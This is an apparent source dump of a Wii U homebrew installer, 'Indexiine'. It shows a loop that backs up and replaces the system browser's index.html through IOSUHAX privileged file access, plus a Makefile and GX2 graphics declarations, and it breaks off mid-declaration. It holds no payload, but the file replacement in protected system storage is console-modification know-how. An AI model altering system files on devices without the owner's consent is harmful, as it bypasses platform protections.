| indexpath = BROWSER_PATH_JPN INDEX_PATH; 273 | break; 274 | default: 275 | return 0; 276 | break; 277 | } 278 | 279 | while (1) 280 | { 281 | VPADRead(0, &vpad, 1, &vpadError); 282 | 283 | // Install 284 | if(vpadError == 0 && ((vpad.btns_d | vpad.btns_h) & VPAD_BUTTON_A)) 285 | { 286 | // Backup the file if it exists and there is no backup 287 | if (fileExists(indexpath) && !fileExists(INDEX_BACKUP_PATH)) 288 | { 289 | copyFile(indexpath, INDEX_BACKUP_PATH); 290 | } 291 | 292 | if (copyFile(INDEXIINE_INDEX_PATH, indexpath)) 293 | { 294 | // chmod the file 295 | chmodSingle(fsaFd, indexpath, INDEX_MODE); 296 | } 297 | else 298 | { 299 | console_printf(1, "Error copying index.html to %s", indexpath); 300 | sleep(4); 301 | break; 302 | } 303 | 304 | console_printf(1, "Successfully installed Indexiine!"); 305 | sleep(4); 306 | break; 307 | } 308 | 309 | // Restore 310 | if(vpadError == 0 && ((vpad.btns_d | vpad.btns_h) & VPAD_BUTTON_B)) 311 | { 312 | if (copyFile(INDEX_BACKUP_PATH, indexpath)) 313 | { 314 | // chmod the file 315 | chmodSingle(fsaFd, indexpath, INDEX_MODE); 316 | 317 | console_printf(1, "Successfully restored index.html"); 318 | } 319 | 320 | sleep(4); 321 | break; 322 | } 323 | 324 | // Exit 325 | if(vpadError == 0 && ((vpad.btns_d | vpad.btns_h) & VPAD_BUTTON_HOME)) 326 | { 327 | break; 328 | } 329 | } 330 | exit: 331 | 332 | console_printf(1, "Exiting..."); 333 | 334 | for(int i = 0; i < MAX_CONSOLE_LINES_TV; i++) 335 | { 336 | if(consoleArrayTv[i]) 337 | free(consoleArrayTv[i]); 338 | } 339 | 340 | for(int i = 0; i < MAX_CONSOLE_LINES_DRC; i++) 341 | { 342 | if(consoleArrayDrc[i]) 343 | free(consoleArrayDrc[i]); 344 | } 345 | 346 | unmount_fs("dev"); 347 | 348 | unmount_sd_fat("sd"); 349 | 350 | IOSUHAX_FSA_Close(fsaFd); 351 | 352 | if(mcp_hook_fd >= 0) 353 | MCPHookClose(); 354 | else 355 | IOSUHAX_Close(); 356 | 357 | sleep(1); 358 | 359 | return 0; 360 | } 361 | 362 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | #--------------------------------------------------------------------------------- 2 | # Clear the implicit built in rules 3 | #--------------------------------------------------------------------------------- 4 | .SUFFIXES: 5 | #--------------------------------------------------------------------------------- 6 | ifeq ($(strip $(DEVKITPPC)),) 7 | $(error "Please set DEVKITPPC in your environment. export DEVKITPPC=devkitPPC") 8 | endif 9 | ifeq ($(strip $(DEVKITPRO)),) 10 | $(error "Please set DEVKITPRO in your environment. export DEVKITPRO=devkitPRO") 11 | endif 12 | export PATH := $(DEVKITPPC)/bin:$(PORTLIBS)/bin:$(PATH) 13 | export LIBOGC_INC := $(DEVKITPRO)/libogc/include 14 | export LIBOGC_LIB := $(DEVKITPRO)/libogc/lib/wii 15 | export PORTLIBS := $(DEVKITPRO)/portlibs/ppc 16 | 17 | PREFIX := powerpc-eabi- 18 | 19 | export AS := $(PREFIX)as 20 | export CC := $(PREFIX)gcc 21 | export CXX := $(PREFIX)g++ 22 | export AR := $(PREFIX)ar 23 | export OBJCOPY := $(PREFIX)objcopy 24 | 25 | #--------------------------------------------------------------------------------- 26 | # TARGET is the name of the output 27 | # BUILD is the directory where object files & intermediate files will be placed 28 | # SOURCES is a list of directories containing source code 29 | # INCLUDES is a list of directories containing extra header files 30 | #--------------------------------------------------------------------------------- 31 | TARGET := indexiine-installer 32 | BUILD := build 33 | BUILD_DBG := $(TARGET)_dbg 34 | SOURCES := src \ 35 | src/dynamic_libs \ 36 | src/fs \ 37 | src/system \ 38 | src/utils 39 | DATA := 40 | 41 | INCLUDES := src 42 | 43 | #--------------------------------------------------------------------------------- 44 | # options for code generation 45 | #--------------------------------------------------------------------------------- 46 | CFLAGS := -std=gnu11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math \ 47 | -O3 -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE) 48 | CXXFLAGS := -std=gnu++11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math \ 49 | -O3 -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE) 50 | ASFLAGS := -mregnames 51 | LDFLAGS := -nostartfiles -Wl,-Map,$(notdir $@).map,-wrap,malloc,-wrap,free,-wrap,memalign,-wrap,calloc,-wrap,realloc,-wrap,malloc_usable_size,-wrap,_malloc_r,-wrap,_free_r,-wrap,_realloc_r,-wrap,_calloc_r,-wrap,_memalign_r,-wrap,_malloc_usable_size_r,-wrap,valloc,-wrap,_valloc_r,-wrap,_pvalloc_r,--gc-sections 52 | 53 | #--------------------------------------------------------------------------------- 54 | Q := @ 55 | MAKEFLAGS += --no-print-directory 56 | #--------------------------------------------------------------------------------- 57 | # any extra libraries we wish to link with the project 58 | #--------------------------------------------------------------------------------- 59 | LIBS := -lgcc -lfat -liosuhax 60 | 61 | #--------------------------------------------------------------------------------- 62 | # list of directories containing libraries, this must be the top level containing 63 | # include and lib 64 | #--------------------------------------------------------------------------------- 65 | LIBDIRS := $(CURDIR) \ 66 | $(DEVKITPPC)/lib \ 67 | $(DEVKITPPC)/lib/gcc/powerpc-eabi/4.8.2 68 | 69 | 70 | #--------------------------------------------------------------------------------- 71 | # no real need to edit anything past this point unless you need to add additional 72 | # rules for different file extensions 73 | #--------------------------------------------------------------------------------- 74 | ifneq ($(BUILD),$(notdir $(CURDIR))) 75 | #--------------------------------------------------------------------------------- 76 | export PROJECTDIR := $(CURDIR) 77 | export OUTPUT := $(CURDIR)/$(TARGETDIR)/$(TARGET) 78 | export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \ 79 | $(foreach dir,$(DATA),$(CURDIR)/$(dir)) 80 | export DEPSDIR := $(CURDIR)/$(BUILD) 81 | 82 | #--------------------------------------------------------------------------------- 83 | # automatically build a list of object files for our project 84 | #--------------------------------------------------------------------------------- 85 | CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c))) 86 | CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp))) 87 | sFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s))) 88 | SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.S))) 89 | BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*))) 90 | TTFFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.ttf))) 91 | PNGFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.png))) 92 | 93 | #--------------------------------------------------------------------------------- 94 | # use CXX for linking C++ projects, CC for standard C 95 | #--------------------------------------------------------------------------------- 96 | ifeq ($(strip $(CPPFILES)),) 97 | export LD := $(CC) 98 | else 99 | export LD := $(CXX) 100 | endif 101 | 102 | export OFILES := $(CPPFILES:.cpp=.o) $(CFILES:.c=.o) \ 103 | $(sFILES:.s=.o) $(SFILES:.S=.o) \ 104 | $(PNGFILES:.png=.png.o) $(addsuffix .o,$(BINFILES)) 105 | 106 | #--------------------------------------------------------------------------------- 107 | # build a list of include paths 108 | #--------------------------------------------------------------------------------- 109 | export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \ 110 | $(foreach dir,$(LIBDIRS),-I$(dir)/include) \ 111 | -I$(CURDIR)/$(BUILD) -I$(LIBOGC_INC) \ 112 | -I$(PORTLIBS)/include -I$(PORTLIBS)/include/freetype2 113 | 114 | #--------------------------------------------------------------------------------- 115 | # build a list of library paths 116 | #--------------------------------------------------------------------------------- 117 | export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib) \ 118 | -L$(LIBOGC_LIB) -L$(PORTLIBS)/lib 119 | 120 | export OUTPUT := $(CURDIR)/$(TARGET) 121 | .PHONY: $(BUILD) clean install 122 | 123 | #--------------------------------------------------------------------------------- 124 | $(BUILD): 125 | @[ -d $@ ] || mkdir -p $@ 126 | @$(MAKE) --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile 127 | 128 | #--------------------------------------------------------------------------------- 129 | clean: 130 | @echo clean ... 131 | @rm -fr $(BUILD) $(OUTPUT).elf $(OUTPUT).bin $(BUILD_DBG).elf 132 | 133 | #--------------------------------------------------------------------------------- 134 | else 135 | 136 | DEPENDS := $(OFILES:.o=.d) 137 | 138 | #--------------------------------------------------------------------------------- 139 | # main targets 140 | #--------------------------------------------------------------------------------- 141 | $(OUTPUT).elf: $(OFILES) 142 | 143 | #--------------------------------------------------------------------------------- 144 | # This rule links in binary data with the .jpg extension 145 | #--------------------------------------------------------------------------------- 146 | %.elf: link.ld $(OFILES) 147 | @echo "linking ... $(TARGET).elf" 148 | $(Q)$(LD) -n -T $^ $(LDFLAGS) -o ../$(BUILD_DBG).elf $(LIBPATHS) $(LIBS) 149 | $(Q)$(OBJCOPY) -S -R .comment -R .gnu.attributes ../$(BUILD_DBG).elf $@ 150 | 151 | ../data/loader.bin: 152 | $(MAKE) -C ../loader clean 153 | $(MAKE) -C ../loader 154 | #--------------------------------------------------------------------------------- 155 | %.a: 156 | #--------------------------------------------------------------------------------- 157 | @echo $(notdir $@) 158 | @rm -f $@ 159 | @$(AR) -rc $@ $^ 160 | 161 | #--------------------------------------------------------------------------------- 162 | %.o: %.cpp 163 | @echo $(notdir $<) 164 | @$(CXX) -MMD -MP -MF $(DEPSDIR)/$*.d $(CXXFLAGS) -c $< -o $@ $(ERROR_FILTER) 165 | 166 | #--------------------------------------------------------------------------------- 167 | %.o: %.c 168 | @echo $(notdir $<) 169 | @$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d $(CFLAGS) -c $< -o $@ $(ERROR_FILTER) 170 | 171 | #--------------------------------------------------------------------------------- 172 | %.o: %.S 173 | @echo $(notdir $<) 174 | @$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d -x assembler-with-cpp $(ASFLAGS) -c $< -o $@ $(ERROR_FILTER) 175 | 176 | #--------------------------------------------------------------------------------- 177 | %.png.o : %.png 178 | @echo $(notdir $<) 179 | @bin2s -a 32 $< | $(AS) -o $(@) 180 | 181 | #--------------------------------------------------------------------------------- 182 | %.jpg.o : %.jpg 183 | @echo $(notdir $<) 184 | @bin2s -a 32 $< | $(AS) -o $(@) 185 | 186 | #--------------------------------------------------------------------------------- 187 | %.ttf.o : %.ttf 188 | @echo $(notdir $<) 189 | @bin2s -a 32 $< | $(AS) -o $(@) 190 | 191 | #--------------------------------------------------------------------------------- 192 | %.bin.o : %.bin 193 | @echo $(notdir $<) 194 | @bin2s -a 32 $< | $(AS) -o $(@) 195 | 196 | #--------------------------------------------------------------------------------- 197 | %.wav.o : %.wav 198 | @echo $(notdir $<) 199 | @bin2s -a 32 $< | $(AS) -o $(@) 200 | 201 | #--------------------------------------------------------------------------------- 202 | %.mp3.o : %.mp3 203 | @echo $(notdir $<) 204 | @bin2s -a 32 $< | $(AS) -o $(@) 205 | 206 | #--------------------------------------------------------------------------------- 207 | %.ogg.o : %.ogg 208 | @echo $(notdir $<) 209 | @bin2s -a 32 $< | $(AS) -o $(@) 210 | 211 | -include $(DEPENDS) 212 | 213 | #--------------------------------------------------------------------------------- 214 | endif 215 | #--------------------------------------------------------------------------------- 216 | -------------------------------------------------------------------------------- /src/dynamic_libs/gx2_functions.c: -------------------------------------------------------------------------------- 1 | /**************************************************************************** 2 | * Copyright (C) 2015 3 | * by Dimok 4 | * 5 | * This software is provided 'as-is', without any express or implied 6 | * warranty. In no event will the authors be held liable for any 7 | * damages arising from the use of this software. 8 | * 9 | * Permission is granted to anyone to use this software for any 10 | * purpose, including commercial applications, and to alter it and 11 | * redistribute it freely, subject to the following restrictions: 12 | * 13 | * 1. The origin of this software must not be misrepresented; you 14 | * must not claim that you wrote the original software. If you use 15 | * this software in a product, an acknowledgment in the product 16 | * documentation would be appreciated but is not required. 17 | * 18 | * 2. Altered source versions must be plainly marked as such, and 19 | * must not be misrepresented as being the original software. 20 | * 21 | * 3. This notice may not be removed or altered from any source 22 | * distribution. 23 | ***************************************************************************/ 24 | #include "os_functions.h" 25 | #include "gx2_types.h" 26 | #include "utils/utils.h" 27 | 28 | EXPORT_DECL(void, GX2Init, u32 * init_attribs); 29 | EXPORT_DECL(void, GX2Shutdown, void); 30 | EXPORT_DECL(void, GX2Flush, void); 31 | EXPORT_DECL(s32, GX2GetMainCoreId, void) ; 32 | EXPORT_DECL(s32, GX2DrawDone, void); 33 | EXPORT_DECL(void, GX2ClearColor, GX2ColorBuffer *colorBuffer, f32 r, f32 g, f32 b, f32 a); 34 | EXPORT_DECL(void, GX2SetViewport, f32 x, f32 y, f32 w, f32 h, f32 nearZ, f32 farZ); 35 | EXPORT_DECL(void, GX2SetScissor, u32 x_orig, u32 y_orig, u32 wd, u32 ht); 36 | EXPORT_DECL(void, GX2SetContextState, const GX2ContextState* state); 37 | EXPORT_DECL(void, GX2DrawEx, s32 primitive_type, u32 count, u32 first_vertex, u32 instances_count); 38 | EXPORT_DECL(void, GX2DrawIndexedEx, s32 primitive_type, u32 count, s32 index_format, const void* idx, u32 first_vertex, u32 instances_count); 39 | EXPORT_DECL(void, GX2ClearDepthStencilEx, GX2DepthBuffer *depthBuffer, f32 depth_value, u8 stencil_value, s32 clear_mode); 40 | EXPORT_DECL(void, GX2CopyColorBufferToScanBuffer, const GX2ColorBuffer *colorBuffer, s32 scan_target); 41 | EXPORT_DECL(void, GX2SwapScanBuffers, void); 42 | EXPORT_DECL(void, GX2SetTVEnable, s32 enable); 43 | EXPORT_DECL(void, GX2SetSwapInterval, u32 swap_interval); 44 | EXPORT_DECL(u32, GX2GetSwapInterval, void); 45 | EXPORT_DECL(void, GX2WaitForVsync, void); 46 | EXPORT_DECL(void, GX2CalcTVSize, s32 tv_render_mode, s32 format, s32 buffering_mode, u32 * size, s32 * scale_needed); 47 | EXPORT_DECL(void, GX2Invalidate, s32 invalidate_type, void * ptr, u32 buffer_size); 48 | EXPORT_DECL(void, GX2SetTVBuffer, void *buffer, u32 buffer_size, s32 tv_render_mode, s32 format, s32 buffering_mode); 49 | EXPORT_DECL(void, GX2CalcSurfaceSizeAndAlignment, GX2Surface *surface); 50 | EXPORT_DECL(void, GX2InitDepthBufferRegs, GX2DepthBuffer *depthBuffer); 51 | EXPORT_DECL(void, GX2InitColorBufferRegs, GX2ColorBuffer *colorBuffer); 52 | EXPORT_DECL(void, GX2CalcColorBufferAuxInfo, GX2ColorBuffer *colorBuffer, u32 *size, u32 *align); 53 | EXPORT_DECL(void, GX2CalcDepthBufferHiZInfo, GX2DepthBuffer *depthBuffer, u32 *size, u32 *align); 54 | EXPORT_DECL(void, GX2InitDepthBufferHiZEnable, GX2DepthBuffer *depthBuffer, s32 hiZ_enable); 55 | EXPORT_DECL(void, GX2SetupContextStateEx, GX2ContextState* state, s32 enable_profiling); 56 | EXPORT_DECL(void, GX2SetColorBuffer, const GX2ColorBuffer *colorBuffer, s32 target); 57 | EXPORT_DECL(void, GX2SetDepthBuffer, const GX2DepthBuffer *depthBuffer); 58 | EXPORT_DECL(void, GX2SetAttribBuffer, u32 attr_index, u32 attr_size, u32 stride, const void* attr); 59 | EXPORT_DECL(void, GX2InitTextureRegs, GX2Texture *texture); 60 | EXPORT_DECL(void, GX2InitSampler, GX2Sampler *sampler, s32 tex_clamp, s32 min_mag_filter); 61 | EXPORT_DECL(u32, GX2CalcFetchShaderSizeEx, u32 num_attrib, s32 fetch_shader_type, s32 tessellation_mode); 62 | EXPORT_DECL(void, GX2InitFetchShaderEx, GX2FetchShader* fs, void* fs_buffer, u32 count, const GX2AttribStream* attribs, s32 fetch_shader_type, s32 tessellation_mode); 63 | EXPORT_DECL(void, GX2SetFetchShader, const GX2FetchShader* fs); 64 | EXPORT_DECL(void, GX2SetVertexUniformReg, u32 offset, u32 count, const void *values); 65 | EXPORT_DECL(void, GX2SetPixelUniformReg, u32 offset, u32 count, const void *values); 66 | EXPORT_DECL(void, GX2SetPixelTexture, const GX2Texture *texture, u32 texture_hw_location); 67 | EXPORT_DECL(void, GX2SetVertexTexture, const GX2Texture *texture, u32 texture_hw_location); 68 | EXPORT_DECL(void, GX2SetPixelSampler, const GX2Sampler *sampler, u32 sampler_hw_location); 69 | EXPORT_DECL(void, GX2SetVertexSampler, const GX2Sampler *sampler, u32 sampler_hw_location); 70 | EXPORT_DECL(void, GX2SetPixelShader, const GX2PixelShader* pixelShader); 71 | EXPORT_DECL(void, GX2SetVertexShader, const GX2VertexShader* vertexShader); 72 | EXPORT_DECL(void, GX2InitSamplerZMFilter, GX2Sampler *sampler, s32 z_filter, s32 mip_filter); 73 | EXPORT_DECL(void, GX2SetColorControl, s32 lop, u8 blend_enable_mask, s32 enable_multi_write, s32 enable_color_buffer); 74 | EXPORT_DECL(void, GX2SetDepthOnlyControl, s32 enable_depth, s32 enable_depth_write, s32 depth_comp_function); 75 | EXPORT_DECL(void, GX2SetBlendControl, s32 target, s32 color_src_blend, s32 color_dst_blend, s32 color_combine, s32 separate_alpha_blend, s32 alpha_src_blend, s32 alpha_dst_blend, s32 alpha_combine); 76 | EXPORT_DECL(void, GX2CalcDRCSize, s32 drc_mode, s32 format, s32 buffering_mode, u32 *size, s32 *scale_needed); 77 | EXPORT_DECL(void, GX2SetDRCBuffer, void *buffer, u32 buffer_size, s32 drc_mode, s32 surface_format, s32 buffering_mode); 78 | EXPORT_DECL(void, GX2SetDRCScale, u32 width, u32 height); 79 | EXPORT_DECL(void, GX2SetDRCEnable, s32 enable); 80 | EXPORT_DECL(void, GX2SetPolygonControl, s32 front_face_mode, s32 cull_front, s32 cull_back, s32 enable_mode, s32 mode_font, s32 mode_back, s32 poly_offset_front, s32 poly_offset_back, s32 point_line_offset); 81 | EXPORT_DECL(void, GX2SetCullOnlyControl, s32 front_face_mode, s32 cull_front, s32 cull_back); 82 | EXPORT_DECL(void, GX2SetDepthStencilControl, s32 enable_depth_test, s32 enable_depth_write, s32 depth_comp_function, s32 stencil_test_enable, s32 back_stencil_enable, 83 | s32 font_stencil_func, s32 front_stencil_z_pass, s32 front_stencil_z_fail, s32 front_stencil_fail, 84 | s32 back_stencil_func, s32 back_stencil_z_pass, s32 back_stencil_z_fail, s32 back_stencil_fail); 85 | EXPORT_DECL(void, GX2SetStencilMask, u8 mask_front, u8 write_mask_front, u8 ref_front, u8 mask_back, u8 write_mask_back, u8 ref_back); 86 | EXPORT_DECL(void, GX2SetLineWidth, f32 width); 87 | EXPORT_DECL(void, GX2SetTVGamma, f32 val); 88 | EXPORT_DECL(void, GX2SetDRCGamma, f32 gam); 89 | EXPORT_DECL(s32, GX2GetSystemTVScanMode, void); 90 | EXPORT_DECL(s32, GX2GetSystemDRCScanMode, void); 91 | EXPORT_DECL(void, GX2RSetAllocator, void * (* allocFunc)(u32, u32, u32), void (* freeFunc)(u32, void*)); 92 | 93 | 94 | void InitGX2FunctionPointers(void) 95 | { 96 | unsigned int *funcPointer = 0; 97 | unsigned int gx2_handle; 98 | OSDynLoad_Acquire("gx2.rpl", &gx2_handle); 99 | 100 | OS_FIND_EXPORT(gx2_handle, GX2Init); 101 | OS_FIND_EXPORT(gx2_handle, GX2Shutdown); 102 | OS_FIND_EXPORT(gx2_handle, GX2Flush); 103 | OS_FIND_EXPORT(gx2_handle, GX2GetMainCoreId); 104 | OS_FIND_EXPORT(gx2_handle, GX2DrawDone); 105 | OS_FIND_EXPORT(gx2_handle, GX2ClearColor); 106 | OS_FIND_EXPORT(gx2_handle, GX2SetViewport); 107 | OS_FIND_EXPORT(gx2_handle, GX2SetScissor); 108 | OS_FIND_EXPORT(gx2_handle, GX2SetContextState); 109 | OS_FIND_EXPORT(gx2_handle, GX2DrawEx); 110 | OS_FIND_EXPORT(gx2_handle, GX2DrawIndexedEx); 111 | OS_FIND_EXPORT(gx2_handle, GX2ClearDepthStencilEx); 112 | OS_FIND_EXPORT(gx2_handle, GX2CopyColorBufferToScanBuffer); 113 | OS_FIND_EXPORT(gx2_handle, GX2SwapScanBuffers); 114 | OS_FIND_EXPORT(gx2_handle, GX2SetTVEnable); 115 | OS_FIND_EXPORT(gx2_handle, GX2SetSwapInterval); 116 | OS_FIND_EXPORT(gx2_handle, GX2GetSwapInterval); 117 | OS_FIND_EXPORT(gx2_handle, GX2WaitForVsync); 118 | OS_FIND_EXPORT(gx2_handle, GX2CalcTVSize); 119 | OS_FIND_EXPORT(gx2_handle, GX2Invalidate); 120 | OS_FIND_EXPORT(gx2_handle, GX2SetTVBuffer); 121 | OS_FIND_EXPORT(gx2_handle, GX2CalcSurfaceSizeAndAlignment); 122 | OS_FIND_EXPORT(gx2_handle, GX2InitDepthBufferRegs); 123 | OS_FIND_EXPORT(gx2_handle, GX2InitColorBufferRegs); 124 | OS_FIND_EXPORT(gx2_handle, GX2CalcColorBufferAuxInfo); 125 | OS_FIND_EXPORT(gx2_handle, GX2CalcDepthBufferHiZInfo); 126 | OS_FIND_EXPORT(gx2_handle, GX2InitDepthBufferHiZEnable); 127 | OS_FIND_EXPORT(gx2_handle, GX2SetupContextStateEx); 128 | OS_FIND_EXPORT(gx2_handle, GX2SetColorBuffer); 129 | OS_FIND_EXPORT(gx2_handle, GX2SetDepthBuffer); 130 | OS_FIND_EXPORT(gx2_handle, GX2SetAttribBuffer); 131 | OS_FIND_EXPORT(gx2_handle, GX2InitTextureRegs); 132 | OS_FIND_EXPORT(gx2_handle, GX2InitSampler); 133 | OS_FIND_EXPORT(gx2_handle, GX2CalcFetchShaderSizeEx); 134 | OS_FIND_EXPORT(gx2_handle, GX2InitFetchShaderEx); 135 | OS_FIND_EXPORT(gx2_handle, GX2SetFetchShader); 136 | OS_FIND_EXPORT(gx2_handle, GX2SetVertexUniformReg); 137 | OS_FIND_EXPORT(gx2_handle, GX2SetPixelUniformReg); 138 | OS_FIND_EXPORT(gx2_handle, GX2SetPixelTexture); 139 | OS_FIND_EXPORT(gx2_handle, GX2SetVertexTexture); 140 | OS_FIND_EXPORT(gx2_handle, GX2SetPixelSampler); 141 | OS_FIND_EXPORT(gx2_handle, GX2SetVertexSampler); 142 | OS_FIND_EXPORT(gx2_handle, GX2SetPixelShader); 143 | OS_FIND_EXPORT(gx2_handle, GX2SetVertexShader); 144 | OS_FIND_EXPORT(gx2_handle, GX2InitSamplerZMFilter); 145 | OS_FIND_EXPORT(gx2_handle, GX2SetColorControl); 146 | OS_FIND_EXPORT(gx2_handle, GX2SetDepthOnlyControl); 147 | OS_FIND_EXPORT(gx2_handle, GX2SetBlendControl); 148 | OS_FIND_EXPORT(gx2_handle, GX2CalcDRCSize); 149 | OS_FIND_EXPORT(gx2_handle, GX2SetDRCBuffer); 150 | OS_FIND_EXPORT(gx2_handle, GX2SetDRCScale); 151 | OS_FIND_EXPORT(gx2_handle, GX2SetDRCEnable); 152 | OS_FIND_EXPORT(gx2_handle, GX2SetPolygonControl); 153 | OS_FIND_EXPORT(gx2_handle, GX2SetCullOnlyControl); 154 | OS_FIND_EXPORT(gx2_handle, GX2SetDepthStencilControl); 155 | OS_FIND_EXPORT(gx2_handle, GX2SetStencilMask); 156 | OS_FIND_EXPORT(gx2_handle, GX2SetLineWidth); 157 | OS_FIND_EXPORT(gx2_handle, GX2SetDRCGamma); 158 | OS_FIND_EXPORT(gx2_handle, GX2SetTVGamma); 159 | OS_FIND_EXPORT(gx2_handle, GX2GetSystemTVScanMode); 160 | OS_FIND_EXPORT(gx2_handle, GX2GetSystemDRCScanMode); 161 | OS_FIND_EXPORT(gx2_handle, GX2RSetAllocator); 162 | } 163 | -------------------------------------------------------------------------------- /src/dynamic_libs/gx2_functions.h: -------------------------------------------------------------------------------- 1 | /**************************************************************************** 2 | * Copyright (C) 2015 3 | * by Dimok 4 | * 5 | * This software is provided 'as-is', without any express or implied 6 | * warranty. In no event will the authors be held liable for any 7 | * damages arising from the use of this software. 8 | * 9 | * Permission is granted to anyone to use this software for any 10 | * purpose, including commercial applications, and to alter it and 11 | * redistribute it freely, subject to the following restrictions: 12 | * 13 | * 1. The origin of this software must not be misrepresented; you 14 | * must not claim that you wrote the original software. If you use 15 | * this software in a product, an acknowledgment in the product 16 | * documentation would be appreciated but is not required. 17 | * 18 | * 2. Altered source versions must be plainly marked as such, and 19 | * must not be misrepresented as being the original software. 20 | * 21 | * 3. This notice may not be removed or altered from any source 22 | * distribution. 23 | ***************************************************************************/ 24 | #ifndef __GX2_FUNCTIONS_H_ 25 | #define __GX2_FUNCTIONS_H_ 26 | 27 | #ifdef __cplusplus 28 | extern "C" { 29 | #endif 30 | 31 | #include "gx2_types.h" 32 | 33 | void InitGX2FunctionPointers(void); 34 | 35 | extern void (* GX2Init)(u32 * init_attribs); 36 | extern void (* GX2Shutdown)(void); 37 | extern void (* GX2Flush)(void); 38 | extern s32 (* GX2GetMainCoreId)(void) ; 39 | extern s32 (* GX2DrawDone)(void); 40 | extern void (* GX2ClearColor)(GX2ColorBuffer *colorBuffer, f32 r, f32 g, f32 b, f32 a); 41 | extern void (* GX2SetViewport)(f32 x, f32 y, f32 w, f32 h, f32 nearZ, f32 farZ); 42 | extern void (* GX2SetScissor)(u32 x_orig, u32 y_orig, u32 wd, u32 ht); 43 | extern void (* GX2SetContextState)(const GX2ContextState* state); 44 | extern void (* GX2DrawEx)(s32 primitive_type, u32 count, u32 first_vertex, u32 instances_count); 45 | extern void (* GX2DrawIndexedEx)(s32 primitive_type, u32 count, s32 index_format, const void* idx, u32 first_vertex, u32 instances_count); 46 | extern void (* GX2ClearDepthStencilEx)(GX2DepthBuffer *depthBuffer, f32 depth_value, u8 stencil_value, s32 clear_mode); 47 | extern void (* GX2CopyColorBufferToScanBuffer)(const GX2ColorBuffer *colorBuffer, s32 scan_target); 48 | extern void (* GX2SwapScanBuffers)(void); 49 | extern void (* GX2SetTVEnable)(s32 enable); 50 | extern void (* GX2SetSwapInterval)(u32 swap_interval); 51 | extern u32 (* GX2GetSwapInterval)(void); 52 | extern void (* GX2WaitForVsync)(void); 53 | extern void (* GX2CalcTVSize)(s32 tv_render_mode, s32 format, s32 buffering_mode, u32 * size, s32 * scale_needed); 54 | extern void (* GX2Invalidate)(s32 invalidate_type, void * ptr, u32 buffer_size); 55 | extern void (* GX2SetTVBuffer)(void *buffer, u32 buffer_size, s32 tv_render_mode, s32 format, s32 buffering_mode); 56 | extern void (* GX2CalcSurfaceSizeAndAlignment)(GX2Surface *surface); 57 | extern void (* GX2InitDepthBufferRegs)(GX2DepthBuffer *depthBuffer); 58 | extern void (* GX2InitColorBufferRegs)(GX2ColorBuffer *colorBuffer); 59 | extern void (* GX2CalcColorBufferAuxInfo)(GX2ColorBuffer *colorBuffer, u32 *size, u32 *align); 60 | extern void (* GX2CalcDepthBufferHiZInfo)(GX2DepthBuffer *depthBuffer, u32 *size, u32 *align); 61 | extern void (* GX2InitDepthBufferHiZEnable)(GX2DepthBuffer *depthBuffer, s32 hiZ_enable); 62 | extern void (* GX2SetupContextStateEx)(GX2ContextState* state, s32 enable_profiling); 63 | extern void (* GX2SetColorBuffer)(const GX2ColorBuffer *colorBuffer, s32 target); 64 | extern void (* GX2SetDepthBuffer)(const GX2DepthBuffer *depthBuffer); 65 | extern void (* GX2SetAttribBuffer)(u32 attr_index, u32 attr_size, u32 stride, const void* attr); 66 | extern void (* GX2InitTextureRegs)(GX2Texture *texture); 67 | extern void (* GX2InitSampler)(GX2Sampler *sampler, s32 tex_clamp, s32 min_mag_filter); 68 | extern u32 (* GX2CalcFetchShaderSizeEx)(u32 num_attrib, s32 fetch_shader_type, s32 tessellation_mode); 69 | extern void (* GX2InitFetchShaderEx)(GX2FetchShader* fs, void* fs_buffer, u32 count, const GX2AttribStream* attribs, s32 fetch_shader_type, s32 tessellation_mode); 70 | extern void (* GX2SetFetchShader)(const GX2FetchShader* fs); 71 | extern void (* GX2SetVertexUniformReg)(u32 offset, u32 count, const void *values); 72 | extern void (* GX2SetPixelUniformReg)(u32 offset, u32 count, const void *values); 73 | extern void (* GX2SetPixelTexture)(const GX2Texture *texture, u32 texture_hw_location); 74 | extern void (* GX2SetVertexTexture)(const GX2Texture *texture, u32 texture_hw_location); 75 | extern void (* GX2SetPixelSampler)(const GX2Sampler *sampler, u32 sampler_hw_location); 76 | extern void (* GX2SetVertexSampler)(const GX2Sampler *sampler, u32 sampler_hw_location); 77 | extern void (* GX2SetPixelShader)(const GX2PixelShader* pixelShader); 78 | extern void (* GX2SetVertexShader)(const GX2VertexShader* vertexShader); 79 | extern void (* GX2InitSamplerZMFilter)(GX2Sampler *sampler, s32 z_filter, s32 mip_filter); 80 | extern void (* GX2SetColorControl)(s32 lop, u8 blend_enable_mask, s32 enable_multi_write, s32 enable_color_buffer); 81 | extern void (* GX2SetDepthOnlyControl)(s32 enable_depth, s32 enable_depth_write, s32 depth_comp_function); 82 | extern void (* GX2SetBlendControl)(s32 target, s32 color_src_blend, s32 color_dst_blend, s32 color_combine, s32 separate_alpha_blend, s32 alpha_src_blend, s32 alpha_dst_blend, s32 alpha_combine); 83 | extern void (* GX2CalcDRCSize)(s32 drc_mode, s32 format, s32 buffering_mode, u32 *size, s32 *scale_needed); 84 | extern void (* GX2SetDRCBuffer)(void *buffer, u32 buffer_size, s32 drc_mode, s32 surface_format, s32 buffering_mode); 85 | extern void (* GX2SetDRCScale)(u32 width, u32 height); 86 | extern void (* GX2SetDRCEnable)(s32 enable); 87 | extern void (* GX2SetPolygonControl)(s32 front_face_mode, s32 cull_front, s32 cull_back, s32 enable_mode, s32 mode_font, s32 mode_back, s32 poly_offset_front, s32 